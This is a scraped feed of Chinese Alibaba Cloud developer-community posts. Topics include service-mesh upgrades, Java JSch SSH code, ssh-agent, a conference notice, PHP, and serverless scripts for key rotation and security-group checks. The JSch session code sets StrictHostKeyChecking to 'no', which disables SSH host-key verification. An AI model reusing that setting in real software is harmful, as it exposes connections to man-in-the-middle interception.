        可以看到,通过批量的运维操作,我们直接修改了线上的 SOFABoot 版本,以此,来直接使得现有的应用具备了 MOSN 的能力。有些同学可能会问,那你一直这么做不行吗?不行,因为这个操作是要配合流量关闭等操作来运行的,也不具备平滑升级的能力,而且直接和业务代码强相关,不适合长期操作。

        这里我们来详细回答一下,为什么不采用社区的流量劫持方案?

        主要的原因是一方面 iptables 在规则配置较多时,性能下滑严重。另一个更为重要的方面是它的管控性和可观测性不好,出了问题比较难排查。而 Service Mesh 从初期就把蚂蚁金服现在线上的系统全量切换 Mesh 作为目标,并不是只是跑跑 Demo,所以我们对性能和运维的要求是非常高的,毕竟,技术架构升级,如果是以业务有损或者资源利用率大幅度上升,这是无论如何都不能接受的。

        容器替换方案

        解决了刚刚提到的第一个难题,也只是解决了可以做,而并不能做得好,更没有做得快,面对线上数十万带着流量的业务容器, 我们如何立刻开始实现这些容器的快速稳定接入?

        这么大的量,按照传统的替换接入显然是很耗接入成本的事情,于是我们选择了原地接入,我们可以来看下两者的区别:

        image.png

        在之前,我们做一些升级操作之类的,都是需要有一定的资源 Buffer,然后批量的进行操作,替换 Buffer 的不断移动,来完成升级的操作。这就要求 PaaS 层留有非常多的 Buffer,但是在双十一的情况下,我们要求不增加机器,并且为了一个接入 MOSN 的操作,反而需要更多的钱来买资源,这岂不是背离了我们的初衷。有人可能会问,不是还是增加了内存和 CPU 吗,这是提高了 CPU 利用率。以前业务的 CPU 利用率很低,并且这个是一个类似超卖的方案,看上去分配了,实际上基本没增加。

        可以看到, 通过 Paas 层,我们的 Operator 操作直接在现有容器中注入,并原地重启,在容器级别完成升级。升级完成后,这个 Pod 就具备了 MOSN 的能力。

        MOSN 升级方案

        在快速接入的问题完成后,我们要面临第二个问题。由于是大规模的容器,所以 MOSN 在开发过程中,势必会存在一些问题,出现问题,如何升级?要知道线上几十万容器要升级一个组件的难度是很大的,因此,在版本初期,我们就考虑到 MOSN 升级的方案。

        image.png

        能想到最简单的方法,就是销毁容器,然后用新的来重建,但是在容器数量很多的时候,这种运维成本是不可接受的。如果销毁容器重建的速度不够快,就可能会影响业务的容量,造成业务故障。因此,我们在 MOSN 层面,和 PaaS 一起,开发了无损流量升级的方案。

        image.png

        在这个方案中,MOSN 会感知自己的状态,新的 MOSN 启动会通过共享卷的 Domain Socket 来检测是否已有老的 MOSN 在运行,如果有,则通知原有 MOSN 进行平滑升级操作。

        image.png

        具体来说,MOSN 启动的时候查看同 Pod 是否有运行的 MOSN (通过共享卷的 domain socket),如果存在,需要进入如下流程:

        • New MOSN 通知 Old MOSN,进入平滑升级流程;
        • Old MOSN 把服务的 Listen Fd 传递给 New MOSN,New MOSN 接收 Fd 之后启动, 此时 Old 和 New MOSN 都正常提供服务;
        • 然后 New MOSN 通知 Old MOSN,关闭 Listen Fd,然后开始迁移存量的长链接;
        • Old MOSN迁移完成, 销毁容器;

        这样,我们就能做到,线上做任意的 MOSN 版本升级,而不影响老的业务,这个过程中的技术细节,不做过多介绍,之后,本公众号会有更详细的分享文章。

        分时调度案例

        技术的变革通常一定不是技术本身的诉求,一定是业务的诉求,是场景的诉求。没有人会为了升级而升级,为了革新而革新,通常,技术受业务驱动,也反过来驱动业务。

        在阿里经济体下,在淘宝直播,实时红包,蚂蚁森林,各种活动的不断扩张中,给技术带了复杂的场景考验。

        这个时候,业务同学往往想的是什么?我的量快撑不住了,我的代码已经最优化了,我要扩容加机器。而更多的机器付出更多的成本,面对这样的情况,我们觉得应用 Service Mesh 是一个很好的解法。通过和 JVM、系统部的配合,利用进阶的分时调度实现灵活的资源调度,不加机器。这个可以在资源调度下有更好的效果。

        image.png

        首先,我们假设有两个大的资源池的资源需求情况,可以看到在 X 点的时候,资源域 A 需要更多的资源,Y 点的时候,资源域 B 需要更多的资源,总量不得增加。那当然,我们就希望能借调机器。就像下面这样。请大家看左图。

        image.png

        在这个方案中, 我们需要先释放资源,然后销毁进程,然后开始重建资源,然后启动资源域 B 的资源。这个过程对于大量的机器是很重的,而且变更就是风险,关键时候做这种变更,很有可能带来衍生影响。

        而在 MOSN 中,我们有了新的解法。如右图所示,有一部分资源一直通过超卖,运行着两种应用,但是 X 点的时候,对于资源域 A,我们通过 MOSN 来将流量全部转走,应用的 CPU 和内存就被限制到非常低的情况,大概保留 1% 的能力。这样操作,机器依然可以预热,进程也不停。

        在这里,我们可以看这张图。

        image.png

        在需要比较大的资源调度时,我们推送一把开关,则资源限制打开,包活状态取消。资源域 B 瞬间可以满血复活。而资源域 A 此时进入上一个状态,CPU 和内存被限制。在这里,MOSN 以一个极低的资源占用完成流量保活的能力,使得资源的快速借调成为可能。

        我们对 Service Mesh 的思考与未来

        image.png

        Service Mesh 在蚂蚁金服经过 2 年的沉淀,最终经过双十一的检验,在双十一,我们覆盖了数百个双十一交易核心链路,MOSN 注入的容器数量达到了数十万,双十一当天处理的 QPS 达到了几千万,平均处理 RT<0.2 ms,MOSN 本身在大促中间完成了数十次的在线升级,基本上达到了我们的预期,初步完成了基础设施和业务的第一步的分离,见证了 Mesh 化之后基础设施的迭代速度。

        不论何种架构,软件工程没有银弹。架构设计与方案落地总是一种平衡与取舍,目前还有一些 Gap 需要我们继续努力,但是我们相信,云原生是远方也是未来,经过我们两年的探索和实践,我们也积累了丰富的经验。

        我们相信,Service Mesh 可能会是云原生下最接近“银弹”的那一颗,未来 Service Mesh 会成为云原生下微服务的标准解决方案,接下来蚂蚁金服将和阿里集团一起深度参与到 Istio 社区中去,一起和社区把 Istio 打造成 Service Mesh 的事实标准。

        今天的分享就到这里,感谢大家。如果有想交流更多的,欢迎参与到社区里来,寻找新技术带来更多业务价值。

        SOFAStack:https://github.com/sofastack

        本次分享 PPT 以及回顾视频地址:https://tech.antfin.com/community/activities/985/review/949

        蚂蚁金服 Service Mesh 大规模落地系列文章

        ]]>
        java远程连接linux-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 最近在公司项目中,需用java远程连接linux服务器。最终选定了用jsch的方式。但在实现的过程中遇到两个问题。
        ①通过jsch的exec通道时,执行su命令会异常开始,原因是因为执行su命令后返回的结果标准化输出后为空,所以异常卡死;最后放弃此种方式改用shell通道
        ②使用jsch的shell通道时,如何获取到返回结果。通过readline的方式读取时执行su依旧会进入死循环,最后决定通过读取字节码的方式来获取返回结果,通过字节码的方式读取时又遇到终端显示字体颜色的乱码问题,通过设置伪终端的方式解决。
        一下为解决的代码:
        首先创建会话:
        public static Session createSession(String OSIP, String OSUserName, String OSPassword){

            
            Session session = null;
            JSch jsch = new JSch();    
            try {
                 // 通过jsch创建一个会话
                 session = jsch.getSession(OSUserName, OSIP, port);
                 // 设置会话自动传输密码
                 session.setPassword(OSPassword);
                 // 创建Properties类
                 Properties config = new Properties();
                 // 设置第一次登录不验证密码
                 config.put("StrictHostKeyChecking", "no");
                 // 设置公钥和私钥
                 config.put("PreferredAuthentications", "publickey,keyboard-interactive,password");
                 // 导入会话设置
                 session.setConfig(config);
                 // 设置会话超时时间
                 session.setTimeout(timeOut);
                 Log.printLog("ssh连接" + OSIP);
                 // 连接上目标IP的会话
                 session.connect();
                 //代码调试,信息打印
                 //System.out.println("username"+session.getUserName()+session.isConnected());
            } catch (JSchException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            return session;
            
        }
        

        建议交互式shell通道:

        public static ChannelShell createChannelShell(Session session) {
            ChannelShell channelShell = null;
            try {
                Channel channel = session.openChannel("shell");
                channelShell = (ChannelShell) channel;
                //解决终端高亮显示时颜色乱码问题
                channelShell.setPtyType("dump");
                channelShell.setPty(true);
                channelShell.connect();
                Log.printLog("与" + session.getHost() + "的SHELL通道建立成功");
            } catch (JSchException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            return channelShell;
            
        }
        

        执行命令:

        public static String execShellCmd(ChannelShell channelShell, String command, int sleepTime){

            StringBuffer sBuffer = new StringBuffer();
            int beat = 0;
            String result = "";
            String endResult = "";
            try {
                // 远端界面返回
                InputStream in = channelShell.getInputStream();
                // 本地内容推送到远端
                OutputStream out = channelShell.getOutputStream();
                // 要执行命令后加换行符才可以执行
                String execCommand = command + changeLine;
                Log.printLog("要执行的命令:" + command);
                // 写入执行命令
                out.write(execCommand.getBytes());
                // 清空缓存区,开始执行
                out.flush();
                Thread.sleep(sleepTime);             
                while (true) {
                    if (beat > 3) {
                        break;
                    }
                    if (in.available() >0 ) {      
                        //InputStream按位读取,并保存在stringbuffer中
                           byte[] bs =new byte[in.available()];
                           in.read(bs);
                           sBuffer.append(new String(bs));
                           beat ++;
                       }else {                   
                           if (sBuffer.length() >0) {
                            beat++;
                        }
                       }
                }
                // 将stringbuff读取的InputStream数据,转换成特定编码格式的字符串,一般为UTF-8格式
                result = new String(sBuffer.toString().getBytes(charsetName));
                
                // 将返回结果,按行截取并放进数组里面
                String[] strings = result.split(changeLine);
                
                // 通过遍历,筛选无意义的字符
                for (int i = 1; i < strings.length; i++) {
                    if (!strings[i].contains("#") && !strings[i].contains(command) &&
                        !strings[i].contains("$") && !strings[i].contains(">")) {
                        //获取筛选后的字符
                        endResult = endResult+strings[i] +changeLine;
                    }
                }
            } catch (IOException | InterruptedException e) {
                e.printStackTrace();
            }
            Log.printLog("命令执行完,返回的结果为:" + endResult);
            return endResult;    
        }

        其实在结果返回的处理这部分。代码逻辑有点混乱。但是能用。感觉处理的不是很好。也请各位帮忙能优化下。

        ]]>
        使用 ssh-agent,实现多台机器 ssh 免密码登陆-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 原来每台机器都要输入密钥的密码

        [mengkang.zmk@xx /home/mengkang.zmk]
        $for i in `cat yunqi.host`; do scp xxx.php  $i: ;done
        Enter passphrase for key '/home/mengkang.zmk/.ssh/id_dsa':
        xxx.php                      100% 4806     4.7KB/s   00:00
        Enter passphrase for key '/home/mengkang.zmk/.ssh/id_dsa':
        [mengkang.zmk@xx /home/mengkang.zmk]
        $eval $(ssh-agent)
        Agent pid 37869
        
        [mengkang.zmk@xx /home/mengkang.zmk]
        $ssh-add
        Enter passphrase for /home/mengkang.zmk/.ssh/id_dsa:
        Identity added: /home/mengkang.zmk/.ssh/id_dsa (/home/mengkang.zmk/.ssh/id_dsa)
        
        [mengkang.zmk@xx /home/mengkang.zmk]
        $for i in `cat yunqi.host`; do scp xxx.php  $i: ;done
        xxx.php             100% 4806     4.7KB/s   00:00
        xxx.php             100% 4806     4.7KB/s   00:00
        xxx.php             100% 4806     4.7KB/s   00:00
        xxx.php             100% 4806     4.7KB/s   00:00

        ssh-agent是一种控制用来保存公钥身份验证所使用的私钥的程序,其实ssh-agent就是一个密钥管理器,运行ssh-agent以后,使用ssh-add将私钥交给ssh-agent保管,其他程序需要身份验证的时候可以将验证申请交给ssh-agent来完成整个认证过程。通过使用ssh-agent就可以很方便的在不的主机间进行漫游了,假如我们手头有三台server:host1、host2、host3且每台server上到保存了本机(supersun.biz)的公钥,因此我可以通过公钥认证登录到每台主机

        ]]>
        【D2 之夜】你有一次与玉伯、响马、Hax、Winter 面对面交流的机会-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 为了给大家带来一场全天候、不间断的盛筵,D2 组委会经过数十个日日夜夜的紧密筹划,终于完成了 D2 彩蛋——晚场的策划。

        现在,我们正式向所有已购票的小伙伴发出 D2 晚场活动的邀请,欢迎点击链接报名,名额有限!

        D2 晚场介绍

        晚场其实是白天演讲场的延续,由 D2 的特邀嘉(da)宾(lao)们带头,和参会朋友们促膝侃大山。没有了白天正式场的拘束,大家就像老朋友一样,坐下来面对面交流,聊聊技术,谈谈成长,分享趣事,共叙人生——说是大型网红见面会也不为过。

        往年的 D2 其实也有晚场,但没有像这次一样正式宣传,所以有不少小伙伴表示并不知道有晚场,遗憾错过。

        image.png
        [第十三届 D2 晚场 图片来源见水印]

        这次,为了让大家不留遗憾,我们决定提前告知晚场细节,有兴趣参加的小伙伴请提前安排好行程哈~

        D2 晚场安排

        本次 D2 的晚场形式为「 Lightning Talks + 大咖座谈」,下午最后一个话题预计 17:45 结束,大家合完影之后,便可自由安排晚餐,晚场将于 19:00 准时开始,预计 22:00 结束。

        Lightning Talks

        听完白天 3*7=21 场深度分享之后,相信大家脑子里都有不少知识需要消化。这时,听听晚场轻松的 Lightning Talks, 放飞一下思绪,岂不快哉?

        本次的 Lightning Talks 共有三个,它们分别是:

        探究高性能的海量节点树

        分享者:召奴(Chuck),来自台北,目前是 DataWorks 全域智能大数据平台的前端核心成员。

        在我们遇到的场景中,目录树的数据承载量到达 10 万级别,性能问题使客户使用体验极差。我们的挑战在于不仅要解决性能问题,还不能牺牲用户体验。前后经历了四次改造,最终落地了一套解决方案:Cabala-Tree。Cabala-Tree 将海量数据、高性能、极致体验与目录树结合到了一起,不仅支持百万量级的节点数,还提供多条件模糊搜索、定位、协同编辑等强大的能力,为用户提供极致的交互体验。本次演讲中我们将分享我们如何解决目录树在海量数据场景下的性能问题,同时,我们也将分享方案中的关键技术,例如我们如何运用工作流模式来处理复杂的高频流式场景、基于数据存储技术解决 NoSql 读快写慢的问题来达到高效的前端存储方案、使用创新的 Worker group 技术来实践前端真实多线程技术、以及透过 WebAssembly 来封装复杂运算逻辑以提效等等。

        一个跨前后端的视频创意方案解构

        分享者:凌征,就任于阿里妈妈营销研究和体验中心,致力于打造高效优质的图文和视频创意解决方案。

        如何抽象一份数据结构以串联起各个角色(视觉、前端、用户、算法)及流程(数据导出、可视化编辑与预览、黑盒填充、服务端视频渲染);- 2D 坐标系转换的基础知识及 After Effects 图层坐标系、lottie-web 库的 Canvas 渲染器坐标系、HTML Canvas 预览素材的坐标系之间的关系及转换原理;- After Effects Bodymovin 扩展导出的图形数据与贝塞尔曲线的关系;- 在浏览器端获取用户输入文字的 glyph 信息,并让 lottie-web 的 Canvas 渲染器支持实时预览文本。

        7 x 24 小时录屏背后的黑科技

        分享者:亨睿,阿里巴巴南京研发中心高级前端技术专家,从事新一代智能客户服务产品及服务人资管理线上化软件的研发工作,擅长大数据可视化及人机交互设计。

        随着在线客服业务的激增,阿里巴巴集团客户体验事业群内部需要有一种能满足对客服人员 7 x 24 小时录屏的解决方案,XReplay 由此诞生。XReplay 无需安装任何插件,即可在浏览器端记录你在页面上所见所闻,并以高压缩比的无损格式存储在云端。在回放时,XReplay 不仅可以完美再现用户的界面及操作,更可以此分析用户行为,从而激发我们不断提升用户体验,同时还可以满足视频培训的需要。与市面同类产品相比,利用 VirtualDOM、Fiber Tasking、Mutation Merging、diff-match-patch、断点续传等优化算法,XReplay 对连续录制时长不再有限制,同时占用存储空间更小,对应用程序的影响也几乎可以忽略不计,更可支持点对点远程桌面和一对多影音直播及实时多人互动。本次分享为大家带来支撑 XReplay 的前后端架构、优化算法及思考。

        image.png

        大咖座谈

        ]]> PHP 7.2 abstract function override 的使用-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 abstract class KeyManagerAbstract { /** * 类似于 * * return [ * self::UCC_USER_DETAIL => ["ucc:user:h:%d", 10], * ]; * * @return array */ abstract protected static function hashMap(); public static function getHashKey(string $format, int $id) { } } class KeyManager extends KeyManagerAbstract { protected static function hashMap() { // TODO: Implement hashMap() method. } }

        php 7.2 之前这样写是会报错

        Fatal error: Can't inherit abstract function

        php 7.2 则支持了abstract function override

        ]]>
        CNCF中国大使张磊:什么是云原生? | 开发者必读(113期)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        最炫的技术新知、最热门的大咖公开课、最有趣的开发者活动、最实用的工具干货,就在《开发者必读》!

        每日集成开发者社区精品内容,你身边的技术资讯管家。


        每日头条

        CNCF中国大使张磊:什么是云原生?

        Kubernetes 作为 CNCF 的第一个项目从诞生之初就就令人瞩目,Kubernetes 由 Google 工程师基于 Google 内部多年集群管理系统 Borg 的设计经验,结合云计算时代的基础设施特点重新设计而得,旨在帮助企业解决大规模 IT 基础设施的应用容器编排难题。Google 在 2014 年 6 月开源 Kubernetes 以后,在 Redhat、Microsoft、Alibaba 等厂商和众多开源爱好者共同的努力下,成长为如今容器编排领域的事实标准,极大的推动了云原生领域的发展。

        在系统介绍什么是云原生,云原生对开发者来说意味着什么,我们先从云原生技术发展简史开始讲起。


        最强干货

        21种优化CSS和加快网站速度的方法,看看你知道几种?

        CSS 必须通过一个相对复杂的管道,就像 HTML 和 JavaScript一样,浏览器必须从服务器下载文件,然后进行解析并将其应用于DOM。由于优化程度极高,这个过程通常非常快——对于不基于框架的小型 web 项目,CSS通常只占总资源消耗的一小部分。

        阿里云发布全国首个《阿里公共云用户等保2.0合规能力白皮书》

        面对大量的咨询和疑惑,阿里云在公安部信息安全等级保护评估中心指导下,发布全国首个《阿里公共云用户等保2.0合规能力白皮书》,为您一一解答。白皮书从云服务商和云上用户安全合规责任划分出发,首次公开阐述公共云上用户在不同服务模式下的安全合规责任和等保2.0适用条款,基于最典型的IaaS服务模式场景,为您提供最佳安全合规实践指引,首次深度解读云计算、物联网扩展要求合规实践。

        拥抱云时代的前端开发架构—微前端

        微前端架构旨在解决单体应用在一个相对长的时间跨度下,由于参与的人员、团队的增加,从一个普通应用演变成一个巨石应用(Frontend Monolith),随之而来的应用不可维护的问题。这类问题在企业级 Web 应用中尤为常见。


        每天读本书

        这应该是最全的一份目标检测算法&模型盘点

        从简单的图像分类到3D姿势识别,计算机视觉从来不缺乏有趣的问题和挑战。通过肉眼我们可以检测出一张宠物照中的猫和狗,可以识别出梵高作品《星夜》中的星星和月亮,那如何通过算法赋予机器“看”的智能,就是这本书要讲的。


        精品公开课

        你的第一堂“云原生”课——CNCF X Alibaba 云原生技术公开课

        由阿里云与 CNCF(Cloud Native Computing Foundation) 共同开发的《CNCF x Alibaba 云原生技术公开课》,邀请来自全球“云原生”技术社区的亲历者和领军人物,为每一位中国开发者讲解和剖析关于“云原生”的方方面面,一步步揭示这次云计算变革背后的技术思想和本质。

        CNCF 和阿里云,多年来一直致力致力于在全球推广云原生技术。《CNCF x Alibaba 云原生技术公开课》,是 CNCF 旗下首个为中国开发者量身打造的云原生课程。这门课程完全免费且无需注册,旨在让广大中国开发者可以近距离聆听世界级技术专家解析云原生技术,让“云原生”技术真正触手可及。


        每日集成开发者社区精品内容,请持续关注开发者必读

        ]]>
        函数计算进行自动化运维专题-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 前言

        通常来说,自动化运维有两种类型的运维方式:

        • 定时的脚本任务, 比如定时更换云服务的 acess key secret , 定时检查 ecs 对外暴露的端口等
        • 报警事件的紧急处理, 比如 ecs 实例发生异常重启

        在传统的运维中,对于定时任务的处理通常用crontab脚本来实现,但是一旦管理的机器多了,必定会对脚本进行集中管理,这个时候对集中管理脚本的机器的可用性、脚本里面会散落密码明文等相关信息以及定时任务执行的记录都是一个很大的挑战;而对于事件驱动的报警处理,要么是通过短信报警告知运维人员,要么需要自建服务来处理报警信息, 无论是哪种方式,财务成本和运维成本都很大。本文探讨一种新的运维方式,利用函数计算做自动化运维,以极低的成本就可以获得一个高可靠,高质量的运维服务。

        函数计算

        阿里云函数计算是一个事件驱动的serverless计算服务。通过函数计算,您无需管理服务器等基础设施,只需编写代码并上传。函数计算会为您准备好计算资源,以弹性、可靠的方式运行您的代码,具体表现为:

        • 无需采购和管理服务器等基础设施
        • 按需付费,比如对运维管控这类低频调用的系统,财务成本通常能节约90%以上
        • 专注业务逻辑的开发,能极大提高开发效率,比如十分钟上线弹性高可用的图片处理服务
        • 稳定高可用,毫秒级别弹性伸缩,快速实现底层扩容以应对峰值压力
        • 提供日志查询、性能监控、报警等功能快速排查故障

        函数计算遇见自动化运维

        函数计算给用户极大的自由来实现自定义的功能,一旦和自定义自动化运维相遇,会擦出不一样的火花。下面就本文就传统的自动化运维和函数计算进行自动运维在两种不同类型维度上做一个对比:
        _

        定时任务示例场景分析

        定时任务示例场景1

        某些云服务账号acess key secret需要定期更换,以确保 acess key secret安全

        定时任务示例场景2

        定期检查自己 ecs 对应暴露的端口,确保安全。比如你的ecs是一个网站服务器,可能只需要对外暴露 80 端口就行,如果出现 0.0.0.0/0 这种允许所有人访问的漏洞,需要出现报警或者自动修复。

        函数计算自动化运维实战1 -- 定时任务

        事件驱动示例场景分析

        事件驱动示例场景1

        假设两台 ECS 机器 A, B, A 机器出现了宕机,这个时候需要把A机器上的 eip 迁移到备用机器 B 上,可利用云监控的报警和函数计算可以实现 eip 的自动迁移, 云监控检测到A宕机这个事件,然后触发函数执行,函数实现 eip 的自动迁移。

        函数计算自动化运维实战2 -- 事件触发 eip 自动转移

        事件驱动示例场景2

        假设之前一台 ecs 发生系统错误而重启,用户可能会紧急起来做一些验证或者创建快照的处理, 在下面的实战中,我们对一台因为系统错误实例重启或者因实例错误而重启的机器进行自动化处理,比如成功重启后创建快照处理。

        函数计算自动化运维实战3 -- 事件触发自动创建快照

        总结

        用函数计算进行自动化运维,对进行自动化运维处理的函数进行可视化的管理、监控,函数的运行具有弹性,高可用,安全性高等有点;同时在驱动函数的事件源上,云监控提供了丰富事件,并且事件还在不断丰富中(云产品系统事件监控),丰富的事件触发自定义处理的函数,高可用的定时器,这些都可以保证我们可以实现更加完美的的自动化运维。
        如果对函数计算进行自动化运维这个运用场景感兴趣, 请点击收藏本页,我们会在这边函数计算进行自动化运维这个专题主页持续更新相关内容和实战案例。

        “阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        函数计算自动化运维实战1 -- 定时任务-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 函数计算

        阿里云函数计算是一个事件驱动的全托管计算服务。通过函数计算,您无需管理服务器等基础设施,只需编写代码并上传。函数计算会为您准备好计算资源,以弹性、可靠的方式运行您的代码,并提供日志查询,性能监控,报警等功能。借助于函数计算,您可以快速构建任何类型的应用和服务,无需管理和运维。更棒的是,您只需要为代码实际运行消耗的资源付费,而代码未运行则不产生费用。

        函数计算中的TimeTrigger

        触发器是触发函数执行的方式。有时候您不想手动调用函数执行,您希望当某件事情发生时自动触发函数的执行,这个事情就是事件源。您可以通过配置触发器的方式设置事件源触发函数执行。
        例如,设置定时触发器,可以在某个时间点触发函数执行或者每隔5分钟触发函数一次;函数计算timetrigger

        专题传送门 => 函数计算进行自动化运维专题

        定时任务自动化场景分析

        定时任务示例场景1

        某些账号ak需要定期更换,以确保ak安全;
        在下面的代码示例中,授权service具有访问kms权限的能力,使用kms,先对一个具有创建和删除ak权限的ak加密密文解密,获取具有创建和删除ak权限的AK, 之后利用这个AK进行ak的创建和删除操作

        说明: 除了使用kms加密解密来获取较大权限的AK, 通过函数计算环境变量的设置也是一种很好的方法

        操作步骤

        注:记得给函数的service的role设置访问kms权限

        _1

        • 函数代码(函数计算已经内置了相关sdk,直接使用下面的代码即可)
        # -*- coding: utf-8 -*-
        import logging, time, json
        from aliyunsdkcore import client
        from aliyunsdkram.request.v20150501.CreateAccessKeyRequest import CreateAccessKeyRequest
        from aliyunsdkram.request.v20150501.DeleteAccessKeyRequest import DeleteAccessKeyRequest
        from aliyunsdkkms.request.v20160120.EncryptRequest import EncryptRequest
        from aliyunsdkkms.request.v20160120.DecryptRequest import DecryptRequest
        from aliyunsdkcore.auth.credentials import StsTokenCredential
        # ak Encrypt content
        AK_CiphertextBlob = "NmQyY2ZhODMtMTlhYS00MTNjLTlmZjAtZTQxYTFiYWVmMzZmM1B1NXhTZENCNXVWd1dhdTNMWVRvb3V6dU9QcVVlMXRBQUFBQUFBQUFBQ3gwZTkzeGhDdHVzMWhDUCtZeVVuMWlobzlCa3VxMlErOXFHWWdXXXHELLwL1NSZTFvUURYSW9lak5Hak1lMnF0R2I1TWUxMEJiYmkzVnBwZHlrWGYzc3kyK2tQbGlKb2lHQ3lrZUdieHN2eXZwSVYzN2Qyd1cydz09"
        USER_NAME = "ls-test" # sub-account name
        LOGGER = logging.getLogger()
        def handler(event, context):
          creds = context.credentials
          sts_token_credential = StsTokenCredential(creds.access_key_id, creds.access_key_secret, creds.security_token)
          # this demo ecs and function in same region, if not in same region, you need change region_id to your ecs instance's region_id
          clt = client.AcsClient(region_id=context.region, credential=sts_token_credential)
          request = DecryptRequest()
          request.set_CiphertextBlob(AK_CiphertextBlob)
          response = _send_request(clt, request)
          ak_info = json.loads(response.get("Plaintext","{}"))
          if not ak_info:
            return "KMS Decrypt ERROR"
          ak_id = ak_info["ak_id"]
          ak_secret = ak_info["ak_secret"]
          LOGGER.info("Decrypt sucessfully with key id: {}".format(response.get("KeyId","{}")))
          clt2 = client.AcsClient(ak_id, ak_secret, context.region)
          request = CreateAccessKeyRequest()
          request.set_UserName(USER_NAME) # 给子账号ls-test创建AK
          response = _send_request(clt2, request)
          create_ak_id = response.get("AccessKey",{}).get("AccessKeyId")
          if not create_ak_id:
            return
          LOGGER.info("create ak {} sucess!".format(create_ak_id))
          
          time.sleep(10)
          
          request = DeleteAccessKeyRequest()
          request.set_UserName(USER_NAME)  
          request.set_UserAccessKeyId(create_ak_id)
          response = _send_request(clt2, request)
          LOGGER.info("delete ak {} sucess!".format(create_ak_id))
          
          return "OK"
          
        # send open api request
        def _send_request(clt, request):
            request.set_accept_format('json')
            try:
                response_str = clt.do_action_with_exception(request)
                LOGGER.debug(response_str)
                response_detail = json.loads(response_str)
                return response_detail
            except Exception as e:
                LOGGER.error(e)

        AK 存在环境变量版本

        # -*- coding: utf-8 -*-
        import os, logging, time, json
        from aliyunsdkcore import client
        from aliyunsdkram.request.v20150501.CreateAccessKeyRequest import CreateAccessKeyRequest
        from aliyunsdkram.request.v20150501.DeleteAccessKeyRequest import DeleteAccessKeyRequest
        USER_NAME = "ls-test" # sub-account name
        LOGGER = logging.getLogger()
        def handler(event, context):
          ak_id = os.environ['AK_ID']
          ak_secret = os.environ['AK_SECRET']
          clt = client.AcsClient(ak_id, ak_secret, context.region)
          request = CreateAccessKeyRequest()
          request.set_UserName(USER_NAME) # 给子账号USER_NAME创建AK
          response = _send_request(clt, request)
          create_ak_id = response.get("AccessKey", "").get("AccessKeyId")
          if not create_ak_id:
            return
          LOGGER.info("create ak {} sucess!".format(create_ak_id))
          
          time.sleep(5)
          
          request = DeleteAccessKeyRequest()
          request.set_UserName(USER_NAME)  
          request.set_UserAccessKeyId(create_ak_id)
          response = _send_request(clt, request)
          LOGGER.info("delete ak {} sucess!".format(create_ak_id))
          
          return "OK"
          
        # send open api request
        def _send_request(clt, request):
            request.set_accept_format('json')
            try:
                response_str = clt.do_action_with_exception(request)
                LOGGER.info(response_str)
                response_detail = json.loads(response_str)
                return response_detail
            except Exception as e:
                LOGGER.error(e)

        定时任务示例场景2

        定期检查自己ecs对应暴露的端口,确保安全,比如你的ecs是一个网站服务器,可能只需要对外暴露80端口就行,如果出现0.0.0.0/0这种允许所有人访问的,需要出现报警或者自动修复

        操作步骤

        注:记得给函数的service的role设置管理ecs权限

        # -*- coding: utf-8 -*-
        import logging
        import json, random, string, time
        from aliyunsdkcore import client
        from aliyunsdkecs.request.v20140526.DescribeInstancesRequest import DescribeInstancesRequest
        from aliyunsdkecs.request.v20140526.DescribeSecurityGroupAttributeRequest import DescribeSecurityGroupAttributeRequest
        from aliyunsdkcore.auth.credentials import StsTokenCredential
        LOGGER = logging.getLogger()
        clt = None
        # 需要检查的ecs列表, 修改成你的ecs id 列表
        ECS_INST_IDS = ["i-uf6h07zdscdg9g55zkxx", "i-uf6bwkxfxh847a1e2xxx"]
        def handler(event, context):
          creds = context.credentials
          global clt
          sts_token_credential = StsTokenCredential(creds.access_key_id, creds.access_key_secret, creds.security_token)
          # this demo ecs and function in same region, if not in same region, you need change region_id to your ecs instance's region_id
          clt = client.AcsClient(region_id=context.region, credential=sts_token_credential)
          invalid_perssions = {}
          for ecs_id in ECS_INST_IDS:
            ret = check_and_modify_security_rule(ecs_id)
            if ret:
              invalid_perssions[ecs_id] = ret
          return invalid_perssions
        def check_and_modify_security_rule(instance_id):
          LOGGER.info("check_and_modify_security_rule, instance_id  is %s ", instance_id)
          request = DescribeInstancesRequest()
          request.set_InstanceIds(json.dumps([instance_id]))
          response = _send_request(request)
          SecurityGroupIds = []
          if response is not None:
            instance_list = response.get('Instances', {}).get('Instance')
            for item in instance_list:
              SecurityGroupIds = item.get('SecurityGroupIds', {}).get("SecurityGroupId", [])
              break
          if not SecurityGroupIds:
            LOGGER.error("ecs {} do not have SecurityGroupIds".format(instance_id))
            return 
          
          invalid_perssions = []
          
          for sg_id in SecurityGroupIds:
            request = DescribeSecurityGroupAttributeRequest()
            request.set_SecurityGroupId(sg_id)
            response = _send_request(request)
            LOGGER.info("Find a securityGroup id {}".format(sg_id))
            permissions = response.get("Permissions", {}).get("Permission",[])
            if not permissions:
              continue
            for permission in permissions:
              if permission["Direction"] == "ingress" and permission["SourceCidrIp"] == "0.0.0.0/0":
                LOGGER.error("ecs {0} , SecurityGroup id {1}, have a risk, need fix; permission = {2}".format(instance_id, sg_id, permission))
                invalid_perssions.append(permission)
                
          return invalid_perssions
        # send open api request
        def _send_request(request):
            request.set_accept_format('json')
            try:
                response_str = clt.do_action_with_exception(request)
                LOGGER.debug(response_str)
                response_detail = json.loads(response_str)
                return response_detail
            except Exception as e:
                LOGGER.error(e)

        “ 阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        函数计算自动化运维实战2 -- 事件触发eip自动转移-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 函数计算

